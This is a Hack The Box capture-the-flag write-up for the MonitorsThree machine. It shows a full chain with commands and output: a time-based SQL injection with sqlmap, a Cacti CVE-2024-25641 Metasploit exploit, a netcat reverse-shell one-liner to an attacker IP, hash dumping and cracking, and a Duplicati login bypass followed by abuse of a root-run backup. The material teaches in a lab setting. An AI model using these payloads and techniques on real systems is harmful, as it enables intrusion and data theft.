Page cover image

Week 4. MonitorsThree

TL;DR

This is an Ubuntu 22.04 machine hosting a web site whose authentication login page is vulnerable to SQLi time-based attacks. This is exploited to dump a hash that, once cracked, allows access to the admin dashboard of another vulnerable (CVE-2024-25641) Cacti 1.2.26 login portal running in the server. Exploiting this we get an initial shell in the system and then we find an additional hash in another MySQL database. Once cracked we get an SSH credential and the user flag. For escalation we abuse a Duplicati backup application. First we bypass the authentication following a procedure available in GitHub, then we leverage the fact that application is run under root to backup and read the root flag.

KEYWORDS

SQLi, SQLmap time-based attack, Cacti 1.2.26, CVE-2024-25641, Metasploit, Duplicati.

REFERENCES

https://www.cvedetails.com/cve/CVE-2024-25641

https://www.rapid7.com/db/modules/exploit/multi/http/cacti_package_import_rce/

https://github.com/duplicati/duplicati/issues/5197

https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-28 06:12 EDT
Nmap scan report for 10.10.11.30
Host is up, received user-set (0.037s latency).
Not shown: 64644 closed tcp ports (conn-refused), 889 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASONt
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 13.56 seconds

Enumerate the open ports.

> nmap $target -p22,80 -sV -sC -Pn -vv -n       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-28 06:13 EDT
Nmap scan report for 10.10.11.30
Host is up, received user-set (0.036s latency).
Scanned at 2024-08-28 06:13:57 EDT for 10s
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 86f87d6f4291bb897291af72f301ff5b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNwl884vMmev5jgPEogyyLoyjEHsq+F9DzOCgtCA4P8TH2TQcymOgliq7Yzf7x1tL+i2mJedm2BGMKOv1NXXfN0=
|   256 50f9ed8e73649eaaf6089514f0a60d57 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5W5QMRdl0vUKFiq9AiP+TVxKIgpRQNyo25qNs248Pa
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 10.02 seconds

Add to hosts file and inspect the site with Firefox.

Fuzz for subdomains.

> ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 13560 -t 100 -u http://monitorsthree.htb -H "Host: FUZZ.monitorsthree.htb"
 
        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://monitorsthree.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.monitorsthree.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 13560
________________________________________________
 
cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1419ms]
s0                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9747ms]
sj                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9748ms]
stud                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9730ms]
webstore                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9987ms]
eros                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9997ms]
www.server              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9997ms]
player                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9998ms]
documents               [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9998ms]
raptor                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9997ms]
culture                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9977ms]
dev5                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9941ms]
jc                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9934ms]
ict                     [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9912ms]
back                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9909ms]
stuff                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9872ms]
wb                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9725ms]
ccs                     [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9630ms]
kh                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 162ms]
hunter                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5038ms]
:: Progress: [4989/4989] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:48] :: Errors: 0 ::

Add cacti.monitorsthree.htb to hosts file and browse it with Firefox, we discover the server runs Cacti 1.2.26.

USER

Navigate to the http://monitorsthree.htb login page, click on password reset.

The username parameter is vulnerable to SQLi. Try a password reset and capture the request with Burpsuite, save request to a file and launch a time-based sqlmap attack. Bear in mind that, as the attack is time based, it will take some time to complete.

First dump the database name.

> sqlmap -r request.sql -p username --dbms=mysql --batch --threads=10 --dbs --technique=T --level=5 --risk=3
        ___
       __H__                                                                                                                                    
 ___ ___[)]_____ ___ ___  {1.6.9#stable}                                                                                                        
|_ -| . [.]     | .'| . |                                                                                                                       
|___|_  [.]_|_|_|__,|  _|                                                                                                                       
      |_|V...       |_|   https://sqlmap.org                                                                                                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:16:00 /2024-08-28/

[08:16:00] [INFO] parsing HTTP request from 'request.sql'
[08:16:00] [INFO] testing connection to the target URL
got a 302 redirect to 'http://monitorsthree.htb:80/forgot_password.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[08:16:00] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[08:16:00] [INFO] testing for SQL injection on POST parameter 'username'
[08:16:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[08:16:00] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                   
[08:16:13] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[08:16:13] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 63 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=aaa' AND (SELECT 6234 FROM (SELECT(SLEEP(5)))cZpJ)-- bFHy
---
[08:17:10] [INFO] the back-end DBMS is MySQL
[08:17:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[08:17:15] [INFO] fetching database names
[08:17:15] [INFO] fetching number of databases
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[08:17:15] [INFO] retrieved: 
[08:17:24] [INFO] adjusting time delay to 1 second due to good response times
2
[08:17:25] [INFO] retrieved: informat
[08:17:58] [ERROR] invalid character detected. retrying..
[08:17:58] [WARNING] increasing time delay to 2 seconds
ion_schema
[08:19:06] [INFO] retrieved: monitorsthre
[08:20:45] [ERROR] invalid character detected. retrying..
[08:20:45] [WARNING] increasing time delay to 3 seconds
[08:20:58] [ERROR] invalid character detected. retrying..
[08:20:58] [WARNING] increasing time delay to 4 seconds
e_db
available databases [2]:
[*] information_schema
[*] monitorsthree_db

[08:21:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/monitorsthree.htb'
[08:21:56] [WARNING] your sqlmap version is outdated

[*] ending @ 08:21:56 /2024-08-28/

The sqlmap attack outputs 2 available databases. Let's continue dumping the database monitorsthree_db tables.

> sqlmap -r request.sql -p username --dbms=mysql --batch --threads=10 -D monitorsthree_db --technique=T --level=5 --risk=3 --tables
        ___
       __H__                                                                                                                                    
 ___ ___["]_____ ___ ___  {1.6.9#stable}                                                                                                       
|_ -| . [(]     | .'| . |                                                                                                                       
|___|_  [']_|_|_|__,|  _|                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                    
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 08:25:32 /2024-08-28/
 
[08:25:32] [INFO] parsing HTTP request from 'request.sql'
[08:25:32] [INFO] testing connection to the target URL
got a 302 redirect to 'http://monitorsthree.htb:80/forgot_password.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=aaa' AND (SELECT 6234 FROM (SELECT(SLEEP(5)))cZpJ)-- bFHy
---
[08:25:32] [INFO] testing MySQL
[08:25:32] [INFO] confirming MySQL
[08:25:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[08:25:32] [INFO] fetching tables for database: 'monitorsthree_db'
[08:25:32] [INFO] fetching number of tables for database 'monitorsthree_db'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[08:25:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[08:25:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[08:25:51] [INFO] adjusting time delay to 1 second due to good response times
6
[08:25:51] [INFO] retrieved: invoices
[08:26:20] [INFO] retrieved: customers
[08:26:51] [INFO] retrieved: changelog
[08:27:20] [INFO] retrieved: tasks
[08:27:37] [INFO] retrieved: invoice_tasks
[08:28:29] [INFO] retrieved: users
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog     |
| customers     |
| invoice_tasks |
| invoices      |
| tasks         |
| users         |
+---------------+
 
[08:28:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/monitorsthree.htb'
[08:28:46] [WARNING] your sqlmap version is outdated
 
[*] ending @ 08:28:46 /2024-08-28/

And dumping the users table.

> sqlmap -r request.sql -p username --dbms=mysql --batch --threads=10 -D monitorsthree_db --technique=T --level=5 --risk=3 -T users --dump
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
| id | username  | email                      | password                        | name              | position              | dob        | start_date | salary    |
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
|  2 | admin    | admin@monitorsthree.htb    | 31a181c8372e3afc59dab863430610e8 | Marcus Higgins    | Super User            | 1978-04-25 | 2021-01-12 | 320800.00 |
|  5 | mwatson  | mwatson@monitorsthree.htb  | c585d01f2eb3e6e1073e92023088a3dd | Michael Watson    | Website Administrator | 1985-02-15 | 2021-05-10 |  75000.00 |
|  6 | janderson | janderson@monitorsthree.htb | 1e68b6eb86b45f6d92f8f292428f77ac | Jennifer Anderson | Network Engineer      | 1990-07-30 | 2021-06-20 |  68000.00 |
|  7 | dthompson | dthompson@monitorsthree.htb | 633b683cc128fe244b00f176c8a950f5 | David Thompson    | Database Manager      | 1982-11-23 | 2022-09-15 |  83000.00 |
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+

Admin's hash is cracked with hascat (MD5).

> hashcat -m 0 -a 0 -d 1 hash.txt .\rockyou.txt

Use it to access Cacti admin dashboard in the cacti.monitorsthree.htb subdomain.

Looking for Cacti vulnerabilities we find this one: https://www.cvedetails.com/cve/CVE-2024-25641. And a Metasploit module associated:https://www.rapid7.com/db/modules/exploit/multi/http/cacti_package_import_rce/

It is pretty recent, so you may need to upgrade Metasploit.

> apt update && apt install -y metasploit framework

Run Metasploit and configure the module.

> msfconsole -q 
[*] Starting persistent handler(s)...
msf6 > use exploit/multi/http/cacti_package_import_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_package_import_rce) > show options

Module options (exploit/multi/http/cacti_package_import_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
                                         l
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cacti           yes       The base URI of Cacti
   USERNAME   admin            yes       User to login with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/cacti_package_import_rce) > set rhosts cacti.monitorsthree.htb
rhosts => cacti.monitorsthree.htb
msf6 exploit(multi/http/cacti_package_import_rce) > set password greencacti2001
password => greencacti2001
msf6 exploit(multi/http/cacti_package_import_rce) > set lhost tun0
lhost => 10.10.14.84
msf6 exploit(multi/http/cacti_package_import_rce) > set lport 1919
lport => 1919
msf6 exploit(multi/http/cacti_package_import_rce) > exploit

[*] Started reverse TCP handler on 10.10.14.84:1919 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.26
[*] Attempting login with user `admin` and password `greencacti2001`
[+] Logged in
[*] Checking permissions to access `package_import.php`
[+] The target appears to be vulnerable.
[*] Uploading the package
[*] Triggering the payload
[*] Sending stage (39927 bytes) to 10.10.11.30
[+] Deleted /var/www/html/cacti/resource/hMzcy.php
[*] Meterpreter session 1 opened (10.10.14.84:1919 -> 10.10.11.30:51736) at 2024-08-29 07:59:58 -0400

meterpreter > shell
Process 2035 created.
Channel 0 created.

Now first step is to get a full interactive shell, for this first send a reverse shell to Kali.

> which nc
/usr/bin/nc

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|/usr/bin/nc 10.10.xxx.xxx 9000 >/tmp/f

Reverse shell is received on port 9000, upgrade to full interactive.

> rlwrap -cAr nc -lvp 9000
listening on [any] 9000 ...
connect to [10.10.xxx.xxx] from monitorsthree.htb [10.10.11.30] 34348
bash: cannot set terminal process group (1217): Inappropriate ioctl for device
bash: no job control in this shell
> python3 -c 'import pty; pty.spawn("/bin/bash");'
<ce$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Under www-data moves are usually limited, but normally this account always has access to the /var/www/html directory.

> find /var -name *.php 2> /dev/null

Credentials to connect to the MySQL database are here /var/www/html/cacti/include/config.php

Use them to log in locally into MySQL.

> mysql -h localhost -u cactiuser -pcactiuser -P 3306 cacti
<-h localhost -u cactiuser -pcactiuser -P 3306 cacti
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 37703
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| cacti              |
| information_schema |
| mysql              |
+--------------------+
3 rows in set (0.000 sec)

Enumerate the database from command line, you'll find a user authentication data table.

> describe user_auth;
+------------------------+-----------------------+------+-----+---------+----------------+
| Field                  | Type                  | Null | Key | Default | Extra          |
+------------------------+-----------------------+------+-----+---------+----------------+
| id                     | mediumint(8) unsigned | NO   | PRI | NULL    | auto_increment |
| username               | varchar(50)           | NO   | MUL | 0       |                |
| password               | varchar(256)          | NO   |     |         |                |
| realm                  | mediumint(8)          | NO   | MUL | 0       |                |
| full_name              | varchar(100)          | YES  |     | 0       |                |
| email_address          | varchar(128)          | YES  |     | NULL    |                |
| must_change_password   | char(2)               | YES  |     | NULL    |                |
| password_change        | char(2)               | YES  |     | on      |                |
| show_tree              | char(2)               | YES  |     | on      |                |
| show_list              | char(2)               | YES  |     | on      |                |
| show_preview           | char(2)               | NO   |     | on      |                |
| graph_settings         | char(2)               | YES  |     | NULL    |                |
| login_opts             | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_graphs          | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_trees           | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_hosts           | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_graph_templates | tinyint(3) unsigned   | NO   |     | 1       |                |
| enabled                | char(2)               | NO   | MUL | on      |                |
| lastchange             | int(11)               | NO   |     | -1      |                |
| lastlogin              | int(11)               | NO   |     | -1      |                |
| password_history       | varchar(4096)         | NO   |     | -1      |                |
| locked                 | varchar(3)            | NO   |     |         |                |
| failed_attempts        | int(5)                | NO   |     | 0       |                |
| lastfail               | int(10) unsigned      | NO   |     | 0       |                |
| reset_perms            | int(10) unsigned      | NO   |     | 0       |                |
+------------------------+-----------------------+------+-----+---------+----------------+
25 rows in set (0.001 sec)

Dump it for useful data.

> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

We have disclosed again a hash for user marcus (module 3200). Once the hash is cracked, just su marcus to his account. Inside his home directory you'll find his private ssh key, which can be used to open an SSH session.

Use it to retrieve the user flag.

ROOT

Start from the marcus SSH shell and take the opportunity to enumerate the user and the system.

> whoami && id
marcus
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
 
> uname -a && cat /etc/os-release
Linux monitorsthree 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

There is something listening on port 8200.

> netstat -lnput
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:44556           0.0.0.0:*               LISTEN      3159/python3       
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:45439         0.0.0.0:*               LISTEN      -                  
tcp6       0      0 :::80                   :::*                    LISTEN      -                  
tcp6       0      0 :::22                   :::*                    LISTEN      -                  
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                  
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Forward the port to Kali and inspect the site with Firefox. A Duplicati login box pops-up. Authentication is bypassed following a vulnerability posted in GitHub: https://github.com/duplicati/duplicati/issues/5197, and there is also a guide to exploit this vulnerability: https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

First we need the server passphrase, which it is stored in a SQLite database located in the path /opt/duplicati/config/Duplicati-server.sqlite. Transfer it to Kali and enumerate with command line command sqlite3

> sqlite3
SQLite version 3.39.3 2022-09-05 11:02:23
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> attach "Duplicati-server.sqlite" as db;
sqlite> .tables
db.Backup        db.Log           db.Option        db.TempFile   
db.ErrorLog      db.Metadata      db.Schedule      db.UIStorage  
db.Filter        db.Notification  db.Source        db.Version

sqlite> select * from db.Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|48b5f8d8-e054-4f6e-8330-5e80ca0f04d0
-2||server-passphrase-trayicon-hash|vkB2UFglXqt2fWNxbLoJREgeGExmvHden8O21gRI4Kw=
-2||last-update-check|638605382247395730
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*

Following the provided guide, first we need to decode base64 the server-passphrase then encode in HEX.

Take note of the salted password.

Now we need the nonce, which is different in each login attempt. Enter whatever password and intercept the request, take note of the session_nonce and URL decode it.

Continue following the guide, in the same Duplicati login page, open a JS console and calculate the value of noncepwd

var noncepwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('value_of_url_decoded_nonce') + 'salted_hex_passphrase')).toString(CryptoJS.enc.Base64);

Where salted_hex_passphrase is the HEX value previously calculated with Cyberchef, and value_of_url_decoded_nonce is the URL-decoded nonce.

After the value is calculated, just type noncepwd to retrieve the value of the password.

Final step is to go back to the intercepted request in Burpsuite and replace the value of password with the noncepwd value, then URL-encode the value of the new password (CTRL+U).

Forward the request, you are now logged in Duplicati.

Looks like a tool to create scheduled backups. It seems to be run under root context, so it can backup and restore any file in the file system. One option could be to create a backup of our own public key, then restore it the root .ssh directory.

Another option is just backup the root.txt file, then restore in a location where user marcus has access.

To do this:

  1. Click on "Add backup", enter whatever name, do not select encryption.

  2. Select a location for the backup, for example /store/var/tmp, several ZIP files will be stored here.

  3. Select which files will be part of the backup, choose /store/root/root.txt

  4. Do not choose automatic backup, save the backup.

  5. Back on the home menu, run the recently created backup.

  6. Restore the backup, select the root.txt file to be restored choosing a location where marcus has permissions; for example, /store/home/marcus

After the process finishes you can read root.txt file.

Last updated